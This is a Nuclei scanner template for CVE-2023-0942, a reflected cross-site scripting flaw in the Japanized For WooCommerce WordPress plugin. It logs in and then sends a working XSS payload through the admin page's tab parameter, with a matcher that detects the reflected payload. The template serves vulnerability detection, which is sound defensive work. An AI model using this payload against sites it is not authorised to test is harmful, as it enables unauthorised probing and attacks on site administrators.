nuclei-templates/cves/2023/CVE-2023-0942.yaml

44 lines
1.6 KiB
YAML

id: CVE-2023-0942
info:
name: Japanized For WooCommerce < 2.5.5 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
Japanized For WooCommerce < 2.5.5 is vulnerable to Reflected Cross-Site Scripting via the tab parameter in versions up to, and including, 2.5.4 due to insufficient input sanitization and output escaping.
reference:
- https://wpscan.com/vulnerability/71aa9460-6dea-49cc-946c-d7d4bf723511
- https://nvd.nist.gov/vuln/detail/CVE-2023-0942
- https://wordpress.org/plugins/woocommerce-for-japan/
- https://plugins.trac.wordpress.org/browser/woocommerce-for-japan/trunk/includes/admin/views/html-admin-setting-screen.php#L63
remediation: Fixed in version 2.5.5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0942
cwe-id: CWE-79
metadata:
verified: "true"
tags: cve2023,woocommerce-for-japan,wp,wpscan,wordpress,authenticated,cve,xss,woocommerce,plugin
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=wc4jp-options&tab=a</script><svg/onload=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "<svg/onload=alert(document.domain)>") && contains(body_2, "woocommerce-for-japan")'
condition: and